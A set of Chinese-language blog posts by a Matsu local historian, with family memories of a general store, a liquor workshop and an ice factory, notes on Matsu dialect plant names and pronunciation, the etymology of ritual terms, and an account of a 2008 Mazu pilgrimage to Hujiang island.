「復興派」經營的項目是多元的,有做糕餅的、做餐飲的、做道士的、釀酒、做蝦油的,甚至有從軍報國的,但是主力還是經營雜貨買賣。家母生前說,古早時的高祖父,帶著寡母和另一位朋友結伴而行,由長樂鶴上跋涉山海,靠唯一的值錢家當—-一把鐮刀,落腳牛角開基創業。到了我祖父輩才開始分爨,然後各取店名,有的開枝散葉搬遷到外村。我家留在牛角,店名「合記」,雜貨舖與酒坊同時兼營。中興酒廠成立之初,向民間徵收的釀酒器物,有許多是來自我家—-合記酒坊的,(官方文獻上寫「復興酒坊」我不知道是什麼道理,因為此時陳家手足已經各自獨立了。寫「復興酒坊」可能是仍舊用泛稱吧。) 也許相關雜物過多,為免搬運麻煩,他們乾脆租用我家隔壁曹典水先生等人的屋子前面作釀酒場地。又租劉枝蓮小姐老家隔壁當辦公室,樓上隔了一間做廠長臥房以外,另一個空間則作職員的餐廳。

家父性格木訥。財產被徵收感覺如同被充公,內心難免不平。在肅殺的時空背景之下,在子女面前絕口不提此事。大約在十五年前吧,黃星華老先生有意編地方耆老、先賢傳略(此書未刊行),當時他吩咐我們兄弟要寫父親傳略,同時也告訴我們一些前所未聞的掌故,後來經向媽媽求證,不僅使我略知梗概,而且她老人家話匣子一開,又引出許多令人傷感的往事。

初始的酒廠,釀的酒品質無法保證,高層託人向家父遊說,請他擔任技術指導,代價是每燒一鍋高粱酒,就支付新台幣壹仟元,這個酬勞在當時是天價,可是被家父婉拒。現在回想,當時出資人之所以肯出高價,那是想達到技術轉移的目的。若能理解今天有些台商在大陸優勢漸漸不保的窘境,那出高價的背後意圖就思過半了。這一段往事官方文獻不可能記載,隨著家中大人以及知悉馬祖經建發展如黃星華先生等人的辭世,許多事情就變成無法印證的公案。身為當事人的後代,也只能利用機會,將片段的事情當做講古的素材而已。

家父母可以說是多才多藝的人。酒釀不成了,重心轉到經營「京果店」(雜貨舖)。偶而在家裡釀白色的老酒,這是他的絕活之一。馬祖少有人會釀這種酒,取締私酒的風聲稍微寬緩之後,幾乎每一年都釀一些來「偷」喝。我當然也喝了不少,只是無法分享親友,因為這畢竟是違法的私釀酒,家母常常說:「偷食著拭嘴」就是這個道理。[註解] 酒權歸公以後,父親看上中隴的水源充足,就和其他朋友合資在外婆家對面成立馬祖第一家製冰廠,冰廠的招牌名稱為「民天」。以此為名,字面上所透露的意義不言而喻。生產的冰棒和冰淇淋,其品質難和現代的產品比肩。別苛責,當時的技術也只能如此。印象中它比山隴掬水軒(美美照相館)製冰還要早一、兩年。物以稀為貴,彼時冰棒零售價一支一元,批發一支八角,這比盛產期的螃蟹還貴。孩童的我們有冰棒可吃,每天都很快樂,完全不知父執輩慘澹經營的苦辛。大人們的規劃是:夏天製冰,冬天時調整機器用來碾米。可是這兩種產業都各只維持一季,換句話說,一年後宣告歇業。曾聽父母檢討,冰廠失敗的原因出在冗員過多,經營不良,再加上台籍師傅作梗;碾米廠為何收攤,家父未說,我不敢亂猜。由於少了一家碾米廠,使鄉親多吃了許多戰備米糧的黃麴毒素。

我不知道這些機器後來的下落,只看到家裡擺放許多小販揹著叫賣冰棒用的小箱子,我就把它拿來裝內衣、內褲。原先是為避免冰品快速融化,故箱子設計超完美的,有海綿(保麗龍?)做夾層,緊密度很高,這使樟腦丸的味道永不外洩,也害我每次新換衣物,總令旁邊的人感到不適與不安。現在的學生很難想像從前學校的設備有多差,因為家父曾是中心國小的家長委員,學校就向我家要了一個賣冰用的手搖鈴,以充做演講比賽時的時間提示鈴噹。

扯遠了,留一些話題以後再說。再度感謝金炎校長的大作,讓我遙想許多塵封已久的往事。貼一張老照片,並請站長標示方位名稱供鄉親做參考。這是牛角聚落局部照片,是由當時中心國小操場(今天縣議會停車場)往東邊拍攝的,水泥建的兒童遊樂設施是鞦韆和滑梯的合體。我家釀酒地方的前面矮房今已拆除,後來變成曬蝦油的空地了。

[註解]
這句俗諺語很生動、很傳神,¬而且普及率很高。語意為:偷吃要懂得擦嘴巴,湮滅證據。方言說:ㄊㄡ ㄌㄧㄝㄎ ㄉㄨㄛˇㄘㄧㄎ ㄘㄨㄧˇ(thou liek tuoˇtshik tshuiˇ)。擦拭的方言聲母用ㄑ(ʨh)也可以,關於這一點,我在縣志續修《語言志》中有特別分析。

悠悠歲月 逝者如斯(1)揀蝦米

0

看過桂香小姐對〈同物異名〉(七)的回應文之後,點點往事就湧上心頭。「揀蝦米」是漁村孩童難忘的記憶。我住牛角,此地曾是馬祖最大的漁村。每一年夏天各村落的民防隊訓練,上級派來的教育班長人數也最多。那時候,每天晚上民眾要輪流站衛兵,牛角人因人數多而久久輪一次,其他小村莊的人必須經常出勤務,有人說他們「一到天黑就哭」,這當然是開玩笑的話。所以,外村人對牛角的自衛隊員好生羨慕。我很幸運看過牛角的榮景,但是,現在回老家,卻發現燕子比人還多,海芙蓉早已入侵尋常百姓家的門牆,蒼涼的街景令人不勝唏噓。

馬祖的「拍緧」是為了捕撈蝦皮。(語詞的音義為ㄆㄚ ㄑㄧㄨ,pha ʒiu。打樁也。標音以國際音標為準。) 鄉親從到台灣「辦季頭」開始,接著在屋簷下或陰涼處「剖篾」、「紮稻草」,再利用空曠地「(糸奓) 索」(ㄉㄚ ㄌㄛˊ,ta lɔˊ。有鄉親寫成「打索」。)整個活動變成馬祖的捕魚儀式之一,過程中充分展現鄉親的團結、毅力和古老的營生智慧,但此情此景,如今安在哉!

馬祖蝦皮曾經年年豐收,秋冬之際,逢晴朗氣候,各村落的空曠地都有人曬蝦皮。今天的縣議會原是中心國小的大禮堂,屋頂是曬蝦皮的好地方。不僅如此,此地更是夏天悶熱的夜晚,附近居民打地鋪的好去處。露天野地睡覺,不必搭帳篷就有露營的感覺。心情翻轉一下,以星斗當被子、月亮做壁燈,靠想像也能體會不花錢的浪漫。在沒電的年代,日落而息是生活常態之一。太陽下山,天地將黑,常見孩童預先佔地為舖,活脫脫像極台灣中秋節據地烤肉的場景。有時半夜遇雨,媽媽們此起彼落的呼叫孩子回家,「淒厲」的聲音穿透夜空,住在學校「對面山」的我,早就見怪不怪了。

「揀蝦米」所得,在當時是孩子們聊勝於無的零食,最常見的戰利品是:黃蝦(白蝦)、墨棗(小墨魚)、塗磨(小章魚)、油龍、青線、蝦蛄…。除「青線」以外,其餘的都是現代人眼中的佳餚,生的「青線」不能吃只能餵鴨,看不上眼的「蝦蛄」,如今鹹魚翻生的上了高級餐廳的食檯。「物多價賤」是不變的定律。孩子能吃,早餐稀飯不耐餓,我們就抓著它解饞抵餓,但大人卻罵我們「(禾荒) 鬼」(ㄏㄨㄛㄥˋㄍㄨㄧ+,huongˋkui33)。

當時的「油龍」很多,如今它在馬祖好像斷了根、絕了種。那時候,一個繼光餅(鹹餅)「只」賣五角,年輕的朋友別誤會了,以為彼時人間生活像天堂,孰不知當時老師的月薪不到1k。上學來不及吃早餐,若能拿五毛錢買個鹹餅,可是天大的幸福。身懷鹹餅,下課就往操場跑,四處都曬著魚貨,掰開餅,夾著取之不盡的蝦皮,如今回想,那才是名符其實的人間美味。

我住牛角大澳老街,家的隔壁是餅店,對面是餅店兼賣點心的。一碗餛飩的價位,如我的年齡成長一般,看著它從兩塊錢賣到五塊(後來飆到十元)。街尾有賣蠣餅 (ㄉㄧㄝˋㄅㄧㄤ+,tieˋβiang33),這也是我DNA裡的食物之一。雖然只是庶民內餡,但偶而也能見到海鮮。買蠣餅時,若自備特殊加料的內餡,顧客會在黃豆米漿上加幾顆花生做記號,以免在油鍋裡漂盪難認。更講究的人會在上面加了切成小段的油龍,然後夾進繼光餅,配上一碗餛飩,再丟一顆滷蛋下去,這是高級吃法,特等享受,趴數檔次要高到一家之主、或家庭經濟主要來源人,才能偶一為之。

貼兩張老照片分享鄉親。因為原件的清晰度已欠佳,再加上又是翻拍的,故效果不甚理想。軍用大卡車上運的一簍簍的貨物,是要運銷台灣的蝦皮。這種景觀,當年四鄉五島無處不見,如今「豪」景不再,令人感慨。

另一張是拍自福澳村。若記憶無誤,此地是今天商會前方的廣場,印象中駱老師的家也在附近。這位撥蝦皮的福澳鄉親我不認得。此地曾經是菜市場,它應該比山隴開埠要早,那時牛角人得挑擔來此販賣,廣場偶而也搭臺演出「海堡戲」,這是來自白犬(莒光)東海部隊演的福州戲。往左上方走就到了桂香小姐的老家,游府附近有一株橘子樹,童年時代曾對這棵樹流過口水。屋前下方又有一個廣場,而且有一座水泥建的司令台,我曾經在此表演過唱遊,也獨唱過<美麗的寶島>和忘了歌名的小調:「椰子樹高呀細又長,菠蘿……。」其餘不記得了。如今,歲月悠悠,滄海桑田,不少往事仍在記憶之中。

前些日子看了桂香小姐自述的童年往事,當晚打完回應文之後,思緒不斷的往前翻騰。隨手又打了這篇雜文略抒己懷。記得小學一、二年級時,有一位軍中義教毛健想老師教我唱歌,現在我也拿來教孫子:「熱烘烘的太陽往上爬呀,往上爬,爬到了東山,照到了我的家,我的家裡,有養雞鴨,爺爺愛我,我愛他呀。」這首歌很多鄉親會唱,但版本不少,內容大同小異,大家就不必斤斤計較了。

馬祖方言「同物異名」的現象舉例(扛板歸)

0
扛板歸
扛板歸

有一種學名為「扛板歸」的植物(如圖)。莒光鄉親稱為ㄍㄧㄝˋㄇㄛ+ ㄇㄛㄩㄎ ㄗㄧㄨ(kieˋmo33 moyk5 tsiu),漢字寫成「雞母目睭」。連江縣政府編印的《馬祖植物誌》中有介紹到它(圖文說明參見該書p.318)。

 

大學時,因為課業繁重,所以口腔經常潰瘍,有一位懂中醫的教官,某日拔了一堆青草,吩咐我熬煮後不加糖當開水喝,味道不甚好,但症狀得以減輕。在敬恆國中任教時,因校外教學野炊,發現「山海一家」到莒指部附近,到處都可見此物。隨手拔了一些回學校,有一位工友同事告訴我它的俗名,並且說加某物同煮,吃了可治療痔瘡。(抱歉,不敢說太多,以免被人當做密醫。)我猜想,口腔潰瘍、長痔瘡等症狀,以中醫理論來說是起因於火氣大,故一物能治兩病。後來應聘馬祖高中,經常和好友林金國老師跑後山、繞福澳嶺、經酒廠再折回山隴,沿途也可以見到它。復興村有一少婦,坐完月子後一直被痔瘡困擾著,家母得知,建議她用此物姑且一試,因為有療效,此偏方也曾經在村莊中廣為流傳。村中耆老稱它為「野蕃薯」(ㄧㄚˇㄨㄤ ㄋㄩˋ,iaˇuang nyˋ),可見這又是一個同物異名的實例。(按:第二字的聲母本來是ㄏ(h),因為受前一個字的韻尾影響,快速連讀變音成零聲母。若依照本音來唸,反而感覺不夠道地。)

特別要說明的音理有二,一是ㄧㄨ(iu)的音節;其次是「目」的音讀。ㄧㄨ(iu)的音節是國語所無,熟悉國語注音的人會用ㄧㄡ(iou)標示。各位朋友,當你用馬祖方言說「油」、「搖」、「笑」、「招」、「酒」時,不難發現用ㄧㄨ(iu)韻比用ㄧㄡ(iou)韻更貼切。此類字讀起來有一點像分布在《等韻圖》三等韻的字,是很細的音,感覺上發音部位是在口腔前面。ㄧㄨ(iu)的音節並非馬祖話所獨有,許多地方的方言都存在著。(相關的意見我在續修縣志的《語言志》中有專節討論。)馬祖母語教材碰到這個音韻時,國語注音一律用ㄧㄡ,但對應的國際音標卻用iu,乍看之下是矛盾的、是錯誤的,但是,遷就國語注音條例(簡單的說)也只好如此了。再說「目」字。它是入聲字,後面的「ㄎ(k)」不發音,是扮演煞車的功能,所以,在說的時候尾音要很快地堵塞住,因為有它,「入聲短而促」的語音特質才能顯現出來。如果你對這個拼音不熟悉,那就請翻開馬祖母語教材《福州語》的附錄<標音方式說明>,在編號46號的地方找到參考的字「墨」。在馬祖方言中「墨、目」兩字的聲、韻、調完全相同,只是國際音標的入聲標示方式不同而已。古代的三個入聲韻,到閩東方言不但只剩下「ㄎ(k)」,而且還弱化成清喉塞音的Ɂ,此音又稱為「次入韻」。因此,使用國語注音符號時,可以標清喉擦音的ㄏ(h),也可以標成「ㄎ(k)」。這對閩東方言的語音系統來說是不構成影響的。 

馬祖方言「同物異名」的現象舉例(琉球野薔薇)

0

前些日子,在《馬祖日報》上看到鄭韻秋老師對椬梧的介紹,並且說它的俗名是「鹹ㄇㄨˋ」。因為前字的音節唸法是國語所無,所以韻秋老師用權宜的辦法,以人人都會說的國字暫代。後來有讀者朋友提出不一樣的語音做回應,從社會語言學的角度來看,這些差異是正常的。根據學者研究可知,造成語音變化、或同物異名的原因很複雜,如,說話人的語言習慣、發音器官之一的口腔開口度大小、居住環境的風土氣候、用話人的性別、年齡…等,都有可能是造成語言變化的因素之一。由此可知,魏晉南北朝時代的顏之推在《顏氏家訓•音辭篇》中說:「南方水土和柔,其音清舉而切詣,失在浮淺。…北方山川深厚,其音沉濁而鈋鈍。…」真是觀察入微的見解。

以筆者經驗來說,從小到大,同村莊、同年齡的人,此物都說成與韻秋老師等同,都是發ㄍㄟㄥˇㄇㄨˋ(keingˇmuˋ)的音。馬祖四鄉五島,島上居民分別來自長樂、連江等地,雖然同屬閩東方言語區,但是語言的品物名稱、語法結構、發音習慣等,或多或少仍會有參差。近幾年來為了收集馬祖方言語料,曾做了初步的田野調查,發現某些極其常見的物資品名也會有島際差別的現象。所以,有志於文史工作的朋友,平日若能隨時留意,隨時記錄,一定會有異想不到的收穫。現在就舉幾個例子,利用<馬資網>的版面,並且附上圖片為大家做簡單的介紹。

學名為「琉球野薔薇」的野果(如圖),南竿鄉親說ㄎㄛㄩ兀ˋ兀ㄛㄩ兀ˇ(khoyngˋngɔyngˇ) 。因為不知道國字的寫法,勉強寫做「空甕」(請用馬祖方言發音。前一個字的發音和方言說「咳嗽」時首字的音相同)。但是莒光鄉親是說ㄏㄛㄩ兀ˋ兀ㄛㄩ兀ˇ(hoyngˋngɔyngˇ) ,詞彙首字的聲母雖有ㄎ、ㄏ之別,但音韻變化同轍,屬於清朝學者所謂的「喉牙雙聲」的範圍。因為也不知道國字的寫法,所以,勉強寫成「烘甕」(請用馬祖方言發音)。由於這兩個音節的音素不見於國語,故國語拼音條例未能及此,勉強用注音符號標註實在難以到位,所以只好以國際音標來校正之。

兒童時代的馬祖,物資極為貧乏,所謂「水果」,那只是書本上的名詞而已。孩子們都會辨識滿山遍野的野果,大家都是採摘季節性的野果解饞。「空甕」就是其中之一。它的花很香,聞起來像梔子花。結的果實外觀略呈紅色,頗令人垂涎,但味道青澀。摘回家之後,得先用鈍器將它敲碎,然後調上醋和砂糖,靜置片刻後當零食吃。但是處理它要特別小心,若不慎被它絨毛所沾,全身奇癢無比,癢的感覺馬祖話說πㄧㄤˋ(ngiangˋ)。這個音的漢字寫法至今不知,撰述《縣志•語言志》時,我是用兩字「合音」的觀念來理解它。30多年前任教馬祖高中時,參加機關自衛隊在津沙靶場射擊,發現到處都有它的蹤跡。當時自述陳年糗事,令在場的人抱著步槍笑倒在地。

馬祖是軍事要地,兩岸對峙時,海邊、海岸佈了許多地雷等防禦性的爆裂物。有的父母親會嚴禁孩子上山或到海邊。以筆者來說,採野果的經驗是有,但未曾釣過一次魚,(某次在馬祖餐宴,楊縣長說我從來沒釣過魚,這完全是事實。)當時有許多同年齡的小朋友,必須到山上撿柴火或幹粗活。此時,大人、小孩身上的野果是令人羨慕的。最常見的現象是,收工回家的媽媽們會在斗笠上插著蛇莓(ㄘㄨˇㄩㄣˋ,tshuˇyngˋ)。我家是開雜貨鋪的,野果沒有,但白糖很多。最後被慫恿以物易物,互通有無。處理好了,準備要吃了,不巧來了一位林姓「禿鷹」。那時候的馬祖社會,甜食是兒童夢寐以求的奢侈品,林姓大哥伸手搶奪,現場秩序大亂,糖水四濺,我是受害者之一。當下脖子一陣劇癢。平時聽大人說,皮膚癢,擦萬金油或酒精可解。因為怕「東窗事發」,所以不敢向家人要萬金油,但家裡酒精很多。那時馬祖沒電,晚上商家是點氣(汽)燈。點燃之前,一定要先點酒精將石綿燈蕾燒熱,這是基本過程。事情發生在下午,距離點燈還有一段時間,就神不知鬼不覺的將酒精壺「偷渡」出去。絨毛黏在身上,以霑了酒精的手掌觸摸癢處,讓先前的抓痕痛到最高點;更淒慘的事是,霑上絨毛的手掌,摸到那裡就癢到那裡。現場有人出主意,要我回家洗澡。回到家裡,偷偷的舀兩瓢水躲在牆角乾洗,結果毛巾擦到那裡就癢到那裡。最後只好向媽媽「自首」,鄰居說要用大量的水沖洗。「修理」過後,由媽媽帶到牛角唯一的澡堂(馬中曹前組長家),為我抹肥皂、擦背才解除困窘。時間過得真快,這是五十幾年前的事情,只因為過程慘烈,所以,至今仍久久不忘。

言歸正傳,我們來說說音理。選此物做本專題的開頭單元,實在是吃力不討好,因為這個音是馬祖方言中比較難注的語音之一,偏偏與此音有關的字卻不少,如白讀音的「東」、「紅」以及「冬」、「桶」、「虹」、「銅」、「近」等字都是,這些大部分來自中古時代的《通攝》字,以馬祖方言唸起來或多或少帶有圓唇音。所以,必須用比較多的話來說明。從國際音標元音圖觀察,e的圓唇音o;ε的圓唇音œ,兩個圓唇音是國語所沒有的元音,梁玉璋教授指導編寫的《福州語》課本,是直接借用國際音標來使用。《馬拚》則用「廿」來表示。當œ和ㄩ(y)結合時,œ會被ㄩ(y)牽引而上升到o的位置。此物的注音我用ㄛ元音,那是無可奈何的選擇。其次,國語ㄥ(ǝng)的語音結構是ㄜ+兀,韻尾π是舌根鼻音。兀(ŋ)也等於ng,從前的國語注音符號聲母有「疑紐」,當時為他設計的符號就是兀(ŋ、ng),今天已不用了。在國語的韻母中,它是聲隨韻母的韻尾之一,不單獨存在,必須和前面接近央元音的ㄜ(Ɣ、ǝ)結合才有意義。但兀(ŋ、ng)卻常常出現於閩東方言裡,而且它前面沒有與之結合的元音。所以,就我們的方言來說,它既是聲母也是韻母。易言之,兀(ŋ、ng)是可以用來標示聲母或韻母的符號。我們標閩東方言音讀時,偶爾會用ㄥ(ㄜ+兀),簡單的說,這是遷就國語注音符號的拼音習慣,在實際拼音時,要避免受到夾在中間的元音ㄜ的干擾。但是用國際音標時就不能用Ɣ+ng或ǝ+ng了,必須兀(ŋ、ng)單獨標示。同理,前文的蛇莓我標成ㄘㄨˇㄩㄣˋ,這個ㄩㄣˋ只是近似音,ㄣ也是聲隨韻母的韻尾之一,韻尾是舌尖鼻音的ㄋ(n),在注音符號的韻母結構中它也不能單獨存在,必須和前面接近央元音的ㄜ(Ɣ、ǝ)結合才有意義。福州方言的陽聲韻尾沒有ㄋ(n)和ㄇ(m),只有舌根鼻音的兀(ŋ、ng)。這在馬祖母語教材《福州語》書中很清楚的看出來。今天我將蛇莓的方言標成近似音ㄩㄣˋ,仍然是遷就國語注音符號的拼音習慣。大家仔細體會一下,當你說國語的ㄩㄣ(暈)或ㄩㄣˋ(運)時,會感覺語音是生成於口腔的前面,但是說ㄘㄨˇㄩ兀ˋ時,最後一個音的發音位置會稍稍的移到口腔的後面,二者差別只在細微處。如果把它們放在語言環境中(說一句話時),說話人快速地說出來,聽的人幾乎感覺不到它的差別。但若要注出標準音來,那就非得用ㄩ兀ˋ(yŋˋ或yngˋ)不可。大部分的馬祖人是ㄢ、ㄤ,ㄣ、ㄥ不分的,我用注音輸入法打電腦沒問題,可是一旦開口說話,特殊的腔調就表露無遺。因為如此,當年在空大兼任面授講師時,學生說我口音很像曹立委,在台大兼課時又被學生視為「特色」之一。最近,世新大學來了許多大陸學生,他們南腔北調的口音,把我的稀有性降低了許多。

最後,要感謝曹爾元局長,是曹局長告訴我此物的學名為「琉球野薔薇」。

有關「補庫」我的拙見

0
補庫
補庫

今天收到《馬祖日報》,閱讀之後,發現99年4月21日第一版有「補庫」相關新聞,一時興起,持狗尾以續珍貴之貂,謹提拙見以供參考。

今之「冥器」,三《禮》等古文獻皆寫做「明器」。明、冥二字雖然同音,但是兩者意義並不相同。「冥」用於亡生者這可不必爭論,但是「明器」的含意有二,一為天子分封諸侯時所賜之物,其意為「明德之分器」;另一含意為隨葬物,其意為「神、明之也」。大陸考古發掘的戰國楚墓中的陪葬物就是寫成明器。由此看來,將拜祭鬼神用的祭品包子寫做「明頭」是於史有據的。

補庫用的小包子有三種,大粒的包子144粒為一個單位,故馬祖方言又稱為「百四四(ㄅㄚˇ ㄒㄧˋ ㄌㄟˇ)」。長一輩的鄉親向餅店老闆說訂製「百四四」時,老闆一聽即可會意。他的外觀大顆,成本高,故由「做頭」的人提供,或由大眾出資承製,禮成後再分發給大家。中型的以36粒為一個單位,故又稱為「三十六粒(ㄙㄤˇ ㄋㄟ ㄌㄦㄩㄌㄚ)」,這種包子才叫做「明頭」。最小的比大拇指略大一些的叫做「ㄗㄝˋ囝」。

「明頭」的容量單位鄉親確實是寫成「羊」,這是寫同音的錯別字。正確的寫法應寫成「禓」才是。《說文解字》說:「禓、道祭也。」《廣韻》是將同音的漢字排列在一起。禓字在《廣韻》中是和「楊、陽、羊、洋、烊.....」諸字並列,其讀音皆為「ㄧㄤˊ」。國語的第二聲字(來自中古時代的入聲字不算)在福州方言都要念第四聲,各位鄉親不妨將「平、缾、憑、房、門、迎、文、王、魚、陳、民、.....。」用福州方言念念看,就不難發現此事實了。羊、禓兩字相較,羊字簡單好認好寫,適合民間日用,代代「誤」用後,今人反而不知其本形、本音、本義了。即使是大陸出版的《福州方言詞典》也未收此語彙更何況是ㄧㄤˊ的字形「禓」了。

既然如此,禓的字義為何?《說文解字》、《廣韻》都解釋為「道路上的祭祀。」三民版的《學典》說它的讀音有二,其字義為:「ㄧㄤˊ路上祭。ㄕㄤ死於非命的強鬼;驅除強鬼的祭祀。」鄉親們,看了資料以後,再聯想馬祖補庫的場景,您們會認為我將「蜀羊」改為「蜀禓」是有道理的。 

全文刊登於2010-05-01 馬祖日報

壺江記行

0

隨馬祖澳天宮進香團約二百人,一行人在2008年2月27日搭乘金龍號專船,上午由福澳港出發前進馬尾,轉往琯頭鎮再搭渡輪到壺江島,這座面積只有0.8平方公里人口最多的時候逼近一萬人,因漁場枯竭同樣面臨人口外移的現象目前常住人口數不到四千人,行政區劃分連江縣。這天縣政府官員和壺江的住民幾乎動員夾道歡迎,天后宮陣頭整頓後依序前往天妃廟會香,之後乩(芹壁、板里、白沙等)和天后鑾駕駐蹕宮內,人員各分配於民宅和學校。住的環境雖然不理想,但是壺江人誠意十足,接連兩天,好客情形類似二三十年前的臺灣鄉下辦流水席一樣,每一餐幾乎二十道菜款待。晚間,島上沒有休閒活動,閒逛當地天妃宮,聽聽壺江人唱小曲,老人家幾乎來段閩劇即興表演,因為是業餘就自娛娛人自得其樂,既可怡情養性又可增進老人家的聯誼。天妃宮附設民俗館典藏漁村文物,大多是漁具漁船模型和日常的生活陶罐,可見壺江漁村的樣貌。在閭里志還記錄當年壺江人到馬祖列島搭寮補魚的的記錄, 芹壁、橋仔、福澳、山隴等澳口皆見壺江人的蹤影,這段淵源舊事,多次聽到吳用耕榮譽會長和冠海董事長提到:馬祖外山在一九四九年以前,是壺江和梅花人的漁場,之後因政治因素,轉場到四霜列島的東霜作業。今福澳的白馬尊王廟留下碑文寫著,「廟是由壺江和梅花人合蓋」,也証實我在廟宇調查時的疑慮,福澳人把碑中壺江人誤植為合江人。其關係可見非同一般,歷史的命運亦見於壺江和長樂梅花先人共同開發馬祖漁場,為抵抗倭患和海盜,相互以舅舅和外甥暗號,辨識雙方身份。今天妃宮落成時,梅花的舅舅特別致贈牌樓給壺江人,並立碑敘明舅舅和外甥之間深厚情誼。

附記:梅花、壺江兩鄉於明朝嘉靖年間共同破倭寇而結緣,清康熙乙巳年兩鄉共同開發馬祖漁場,梅花鄉定置網於福澳,壺江於山隴下網,歷來有「福澳聯襟山隴畔,梅花香在玉壺中」可見兩鄉歷史情誼深厚。

第二天清晨閒逛壺江時,在廟的左方又發現一塊石碑,碑文落款時間是乾隆三十四年十月,鐫刻著「正堂..奉..上下竿塘等島..嚴禁掛網貿易..除椿簝..毋許奸民托跡..水師巡報..玩違必干訪緝..勒石永遠示禁..漁民寓目警惕..乾隆三十四年十月鐫石」,遙想清初一段海禁的歷史,因政治因素,切斷馬祖與壺江之間「生活圈」的關係,追昔撫今相同歷史命運似乎一在循環。

當天上午重頭戲包括:開幕、祭祀大典,下午輪到南海神壇共有九篇論文發表,其中我被安排在第三場次發表,以「媽祖信仰在馬祖的現象初探-以馬祖澳天后宮為例」為題,因為使用多媒體簡報系統,深深吸引信眾目光,頗獲得好評。晚間煙火秀和歌舞表演斑爛奪目,「座無虛席,邀請到福建省歌舞劇院登台演出,帶來多場經典的評話及呎唱,讓戲迷如癡如醉,期間並穿插壺江村民和馬祖鄉親的共同演唱福州民謠,天后宮「霹靂孩仔團」也登台演出勁爆電音舞,讓對岸青少年是目瞪口呆」這是馬祖日報記者曹重偉寫下的一段報導,倒也貼切當時熱鬧華麗的場面。

第三天壓軸戲是繞境祈福巡遊活動,上午繞境壺江,「吸引壺江的民眾全部出門駐足圍觀,小孩們不斷驚呼,大人們則捻香膜拜,沿途都有民眾放鞭炮製造熱鬧氣氛,煙霧讓人眼睛都睜不開、呼吸困難,聲響更是難受,馬祖團成員們,忍著不適在炮火中前進;孩仔們則是精神抖擻,不停玩弄鞭炮,逗得全場哈哈大笑,還特定準備許多棒棒糖分送給小孩吃;來自馬祖的媽祖金身鑾轎,也受到最多的矚目,沿路都有好奇民眾爭先恐後要看看媽祖金身的廬山真面目,也不顧隊伍還在行進就猛往轎前衝,現場相當混亂,好在社友組成護轎人牆,才讓鑾轎得以平穩前進。」(引用馬祖日報的報導),當時我也扮演文史工作者,不畏長串鞭炮的煙硝巨響和香火的燻眼,猛按相機鏡頭,留下民俗記錄。

壺江島巡遊結束之後,稍事休息和午餐,中午即刻搭乘渡輪轉往琯頭繼續遶境行程,在碼頭各個宮廟糾集陣頭整隊後出發,圍觀人潮和信眾萬人空巷,爭睹遊巡隊伍,主辦單位趕緊協調警方加派人力維安,沿途拉開秩序線,才讓遶境得以順利進行;琯頭這段路持續到傍晚五時才結束,晚餐後直奔福州迫不及待去足按,舒活一下筋骨,也卸下進香初體驗的重擔,為媽祖文化節畫下完美句點。

▲馬港天后宮陣頭登陸

▲壺江歡迎隊伍夾道盛況

▲即使早餐也有十幾道菜

▲在壺江找到南北竿的海禁碑

▲隨隊做民俗調查

▲來個合影吧

▲本人在南海神壇發表論文

▲壺江媽祖祭典


▲來自馬祖天后宮的孩仔


▲芹壁天后宮亦隨行繞境

 

熱門文章